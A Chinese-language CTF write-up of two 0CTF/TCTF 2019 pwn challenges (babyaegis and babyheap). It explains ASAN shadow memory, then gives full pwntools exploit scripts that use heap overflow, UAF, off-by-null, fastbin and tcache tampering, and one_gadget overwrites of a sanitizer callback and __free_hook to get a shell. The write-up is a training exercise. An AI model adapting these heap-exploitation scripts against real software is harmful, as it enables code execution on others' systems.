babyaegis 首先我们看一下程序开启的防护机制
程序开启了ASAN,UBSAN
保护。
ASAN asan(AddressSanitizer)
是google
开源的一个用于进行内存检测的工具,可以检测常见的heap and stack BufferOverflow,global buffer overflow, UAF
等
asan
主要由两个部分构成,插桩和动态运行库,其中插桩主要是针对的是llvm
编译器级别对访问内存的操作(store
,load
和alloca
等),而动态运行库则主要提供一些比较复杂的操作,例如position/unposion
(用于进行内存保护)和影子内存,同时hook free,malloc
等函数。启用了asan
保护的程序不同size
大小的chunk
是在不同内存区域进行分配的,并且free
掉之后的内存在一段时间内并不会被启用。chunk
也与一般的chunk
不相同,其头部0x10
字节大小的ChunkHeader
用来存储chunk
的一些信息。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 struct ChunkHeader { u32 chunk_state : 8 ; u32 alloc_tid : 24 ; u32 free_tid : 24 ; u32 from_memalign : 1 ; u32 alloc_type : 2 ; u32 rz_log : 3 ; u32 lsan_tag : 2 ; u32 user_requested_size : 29 ; u32 user_requested_alignment_log : 3 ; u32 alloc_context_id; };
影子内存:asan
使用一个字节的数据记录主内存中八字节的数据,因为malloc
是按照八字节进行对齐的。这样共分为9
种情况
8字节的内容可写,则影子内存对应的1字节数据为0
8字节的内容不可写,则影子内存中对应的1字节数据为负数
8字节中前n字节可写,剩余地址不可写,则影子内存中对应的1字节数据为k
举例子来说,防御bufferOverflow
,则对buffer
所在的内存区域的前后两端加一块内存区域,称之为RedZone
,并设置RedZone
对应的影子内存区域为不可写即可。
asan
中主内存与影子内存地址之间的对应采用的是直接内存映射的方式,即shadow_mem_address = (mem_address >> 3) + offset
。对于64
位来说其offset
的值为0x7fff8000
,对于32
位来说其offset
值为0X20000000
.
我们看一下asan
内存映射的表现
删除堆块之后影子内存变为
可以看到影子内存中0xfd
表示对应的主内存中的空间为free
状态。
申请的node
的0x10
大小的chunk
地址为0x602000000020
,其中buf
对应的chunk
为0x602000000000
。影子内存对应的地址为
1 hex ((0x602000000000 >> 3 ) + 0x7FFF8000 ) = 0xc047fff8000
从其中的数据我们可以看出0x602000000010,0x602000000030
对应的十字节的地址是可以写的,其他内存区域都不可写。
并且从这里我们也可以看到0x20
大小的chunk
是从0x602000000000
内存地址开始分配的。
利用 程序中的结构体如下
程序一共存在三个漏洞点,第一个是delete
函数的时候并没有清空内存指针,造成可以UAF
,第二个则是 read_until_nl_or_max
函数如果输入的字节大小为size
的话,则content
字符串和id
会连接在一起,在update
函数的时候strlen
就会超出预期的长度,造成堆溢出。但是这两个漏洞由于asan
的原因都无法利用。还有一个类似于后门的函数,可以将任意的一个地址改写为0
。
因此我们可以利用这个后门函数将下一个chunk
对应的影子内存改写为0
,这样就可以通过堆溢出修改下一个chunk
的size
位。
1 2 3 4 add(0x10 , "1" *0x8 , 0x123456789abcdef ) secret(0xc047fff8004 ) update(0 , "a" *0x12 , 0x123456789 ) update(0 , b'a' * 0x10 + p64(0x02ffffff00000002 )[:7 ], 0x01f000000002ff )
首先申请一个0x10
大小的chunk
,首先申请的是buf
位置,0x20
大小的chunk
,然后是node
堆块,内存映射如上图相同。当我们输入的content
的长度为size-0x8
的时候, read_until_nl_or_max
函数的返回值是size-0x8-0x1
,后续输入的id
会从此位置开始赋值,此时content,id
两个域连接在了一起。如果我们输入的id
的长度为0xf\0x10
大小,就会与下一个chunk
的ChunkHeader
连接在一起。这里id
的高1
字节地址的位置为0xbe
,此时如果update
,程序调用的strlen
长度会返回0x11
大小,注意到此时会+1
,如果我们提前利用secret
函数将node
堆块的内存映射更改为0
的话,此时我们就可以覆写下一个chunk
的ChunkerHeader
。同理再次利用content,id
字符串的连接,我们可以将堆溢出到ChunkerHeader
的user_requested_size
位置。
ChunkHeader
的2-nd 8 Bytes
的低29
字节表示的是user_requested_size
位置,也就是size
从0x10
大小被改为了0x10000000
大小。当这个较大的chunk
被释放掉之后,影子内存会被重新置为0xfa
此时如果再次申请一个node1
,由于UAF
的存在,我们可以通过buf
控制node
结构体。控制结构体就控制了buf
指针,就可以利用0,1 node
进行地址泄露和任意的地址写。
getshell
的选择有两个一个是,覆写bbs
的_ZN11__sanitizerL15UserDieCallbackE
函数指针。如果在update
的时候如果cfi
函数的地址与cfi_check
函数的地址不一样则会发生如下的函数调用链
如果我们将node1
的buf
改为_ZN11__sanitizerL15UserDieCallbackE
函数的地址,注意到此时id
的位置即为node0 cfi_address
的位置,就可以利用node0
对函数指针进行修改,将其修改为one_gadget
地址,就可以getshell
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 from pwn import *file_path = "./aegis" context.arch = "amd64" context.log_level = "debug" context.terminal = ['tmux' , 'splitw' , '-h' ] elf = ELF(file_path) debug = 1 if debug: p = process([file_path]) gdb.attach(p, "b *$rebase(0x114A25)" ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) one_gadget = 0x10a45c else : p = remote('' , 0 ) libc = ELF('' ) one_gadget = 0x0 def add (size, content="1\n" , id =1 ): p.sendlineafter("Choice: " , "1" ) p.sendlineafter("Size: " , str (size)) p.sendafter("Content: " , content) p.sendlineafter("ID: " , str (id )) def show (index ): p.sendlineafter("Choice: " , "2" ) p.sendlineafter("Index: " , str (index)) def update (index, content, id ): p.sendlineafter("Choice: " , "3" ) p.sendlineafter("Index: " , str (index)) p.sendafter("New Content: " , content) p.sendlineafter("New ID: " , str (id )) def delete (index ): p.sendlineafter("Choice: " , "4" ) p.sendlineafter("Index: " , str (index)) def shut (): p.sendlineafter("Choice: " , "5" ) def secret (address ): p.sendlineafter("Choice: " , str (666 )) p.sendlineafter("Lucky Number: " , str (address)) add(0x10 , "1" * 0x8 , 0x123456789abcdef ) secret(0xc047fff8004 ) update(0 , "a" * 0x12 , 0x123456789 ) update(0 , b'a' * 0x10 + p64(0x02ffffff00000002 )[:7 ], 0x01f000000002ff ) delete(0 ) add(0x10 , p64(0x602000000018 ), 0 ) show(0 ) p.recvuntil("Content: " ) elf.address = u64(p.recv(6 ).ljust(8 , b"\x00" )) - 0x114AB0 log.success("elf address {}" .format (hex (elf.address))) puts_got = elf.got['puts' ] update(1 , p64(puts_got)[:2 ], puts_got >> 8 ) show(0 ) p.recvuntil("Content: " ) libc.address = u64(p.recv(6 ).ljust(8 , b"\x00" )) - libc.sym['puts' ] log.success("libc address {}" .format (hex (libc.address))) _ZN11__sanitizerL15UserDieCallbackE_address = elf.address + 0xFB0888 update(1 , p64(_ZN11__sanitizerL15UserDieCallbackE_address)[:7 ], 0 ) one_gadget += libc.address update(0 , p64(one_gadget)[:1 ], one_gadget) p.interactive()
babyheap 是一个2.28
下面的题目。程序提供了四种功能add,edit,delete,show
。程序首先mmap
了一段内存,然后申请了一块很大的内存空间之后才开始进行菜单操作。add
函数中限制了申请的最大的堆块的大小为0X58
,并且采用calloc
分配,不经过tcache
。buf_list
存储在之前mmap
的空间内。
漏洞出现在update
函数中,存在一个off-by-null
漏洞。
利用 泄露libc
基址的需要一个unsorted bin
,但是限制的最大的chunk
为fastbin
,fastbin
转换为unsortedbin
可以通过malloc_consolidate
函数将fastbin
放入small bin
中,此时就存在一个main_arena
附近的地址。
可以通过利用的堆的高一字节地址0x56
将chunk
分配到main_arena
的位置,覆写top chunk
到free_hook
的位置,将free_hook
覆写为one_gadget
想要调用malloc_consolidate
函数需要的就是top chunk
的大小不满足用户申请的大小,在程序一开始申请了一个较大的chunk
之后,top chunk
的大小是0x1da0
。需要注意的是在消耗top chunk
的时候需要提前申请连续的fastbin
堆块,以方便后面的fastbin
合并。
在堆块合并得到unsorted bin
之后,利用off-by-one
覆写其size
区域,使unsorted bin shrink
到之前布局好的pre_size,size
位置,之后再利用consolidate
合并堆块。连续申请几个堆块就可以得到指向相同堆块的两个指针。
利用fastbin attack
分配chunk
到main_arena
位置,利用chunk
的0x56
高一字节地址作为size
,覆写top chunk
指向heap
起始位置。heap
起始存储的是tcache_perthread_struct
结构体,也就是tcache_entry
结构体中key
指向的位置。通过覆写此结构体可以更改tcache
中存储的堆块的数量。
1 2 3 4 5 typedef struct tcache_perthread_struct { char counts[TCACHE_MAX_BINS]; tcache_entry *entries[TCACHE_MAX_BINS]; } tcache_perthread_struct;
连续分配几个chunk
得到指向heap
起始位置,覆写所有的counts
为零。覆写top chunk
指向stdin
的位置。然后连续分配chunk
消耗top chunk
,最终将堆块分配到free_hook
的位置。在不断申请chunk
的过程中,在tcache
满的时候需要清空一下tcache
的count
,防止释放堆块的时候进入fastbin
,影响后面的堆块申请。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 from pwn import *file_path = "./babyheap" context.arch = "amd64" context.log_level = "debug" context.terminal = ['tmux' , 'splitw' , '-h' ] elf = ELF(file_path) debug = 1 if debug: p = process([file_path]) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) one_gadget = 0x103f50 else : p = remote('' , 0 ) libc = ELF('' ) one_gadget = 0x0 def add (size ): p.sendlineafter("Command: " , "1" ) p.sendlineafter("Size: " , str (size)) def edit (index, size, content ): p.sendlineafter("Command: " , "2" ) p.sendlineafter("Index: " , str (index)) p.sendlineafter("Size: " , str (size)) p.sendafter("Content: " , content) def delete (index ): p.sendlineafter("Command: " , "3" ) p.sendlineafter("Index: " , str (index)) def show (index ): p.sendlineafter("Command: " , "4" ) p.sendlineafter("Index: " , str (index)) def padding (size ): for i in range (7 ): add(size) edit(i, size, "a" * size) for i in range (7 ): delete(i) def padding2 (size, index_array ): for i in range (6 ): add(size) for i in index_array: delete(i) edit(12 , 0x28 , b"\x00" * 0x28 ) padding(0x28 ) padding(0x38 ) for i in range (8 ): add(0x48 ) edit(i, 0x48 , "a" * 0x48 ) for i in range (7 ): delete(i) for i in range (4 ): add(0x38 ) edit(i, 0x38 , "a" * 0x38 ) add(0x38 ) edit(4 , 0x38 , p64(0 ) * 4 + p64(0x100 ) + p64(0x60 ) + p64(0 )) add(0x48 ) edit(5 , 0x48 , "a" * 0x48 ) add(0x38 ) edit(6 , 0x38 , "a" * 0x38 ) for i in range (5 ): delete(i) add(0x58 ) add(0x58 ) add(0x28 ) edit(2 , 0x28 , "a" * 0x28 ) delete(5 ) add(0x38 ) add(0x38 ) add(0x38 ) add(0x38 ) delete(3 ) delete(4 ) add(0x28 ) add(0x48 ) show(5 ) p.recvuntil("Chunk[5]: " ) libc.address = u64(p.recv(8 )) - 96 - 0x10 - libc.sym['__malloc_hook' ] log.success("libc address {}" .format (hex (libc.address))) top_chunk_address = libc.sym['__malloc_hook' ] + 0x10 + 96 add(0x48 ) delete(4 ) delete(9 ) delete(2 ) show(5 ) p.recvuntil("Chunk[5]: " ) heap_address = u64(p.recv(8 )) log.success("heap address {}" .format (hex (heap_address))) edit(5 , 0x8 , p64(top_chunk_address - 0x4b )) add(0x48 ) add(0x48 ) tcache_entry_address = heap_address - 0x1f850 edit(4 , 0x43 , b"\x00" * 0x3 + p64(0 ) * 7 + p64(tcache_entry_address)) add(0x58 ) add(0x28 ) add(0x28 ) add(0x28 ) edit(12 , 0x28 , "\x00" * 0x28 ) delete(10 ) delete(11 ) delete(9 ) edit(4 , 0x43 , b"\x00" * 0x3 + p64(0 ) * 7 + p64(libc.sym['stdin' ])) index_array = [9 , 10 , 11 , 13 , 14 , 15 ] for i in range (7 ): padding2(0x58 , index_array) add(0x58 ) add(0x58 ) add(0x58 ) edit(11 , 0x10 , p64(0 ) + p64(libc.address + one_gadget)) delete(9 ) p.interactive()
参考 内存检测工具AddressSanitizer
0CTF/TCTF2019 PWN 复现
TCTF 2019 babyheap
0ctf2019-zerotask题解